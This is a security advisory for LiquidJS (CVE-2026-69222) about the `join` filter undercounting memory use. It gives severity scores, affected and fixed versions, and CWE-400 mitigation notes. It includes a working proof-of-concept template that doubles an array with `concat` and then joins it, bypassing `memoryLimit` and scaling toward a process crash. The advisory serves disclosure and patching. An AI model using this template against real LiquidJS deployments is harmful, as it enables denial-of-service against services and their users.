GHSA-4r6h-5v86-94p3 CVE-2026-69222
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.63%
- Chance of exploitation in the next 30 days. Higher than 50.20% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- Fix
10.27.2- Upgrade liquidjs to this version or later
Description
Summary
The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.
Details
// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
const array = toArray(v)
const sep = isNil(arg) ? ' ' : stringify(arg)
const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes
this.context.memoryLimit.use(complexity)
return array.join(sep) // allocates sum(element lengths) + separators
})
concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.
Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.
PoC
Live-reproduced against liquidjs@10.27.1, Node v24.3.0.
const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense
const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;
const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len); // output length: 40960000
Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.
Impact
Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| liquidjs | < 10.27.2 |
10.27.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
liquidjs npm → 10.27.2
- npm
npm install liquidjs@10.27.2- yarn
yarn add liquidjs@10.27.2- pnpm
pnpm add liquidjs@10.27.2
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-fwxr-j5w2-587m LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration | Medium | Also affects liquidjs |
| GHSA-m7fp-h3p4-hr49 LiquidJS has an infinite loop vulnerability in its `strip_html` filter | High | Also affects liquidjs |
| GHSA-g357-x5c3-c72p LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce | High | Also affects liquidjs |
| GHSA-gf2q-c269-pqgc LiquidJS is Vulnerable to Remote Code Execution | Critical | Also affects liquidjs |
| GHSA-r7g9-xpmj-5fcq LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex | High | Also affects liquidjs |
| GHSA-hh27-hf48-9f5q LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) | High | Also affects liquidjs |
| GHSA-9x9p-qf8f-mvjg LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()` | Medium | Also affects liquidjs |
| GHSA-8xx9-69p8-7jp3 LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body | Medium | Also affects liquidjs |
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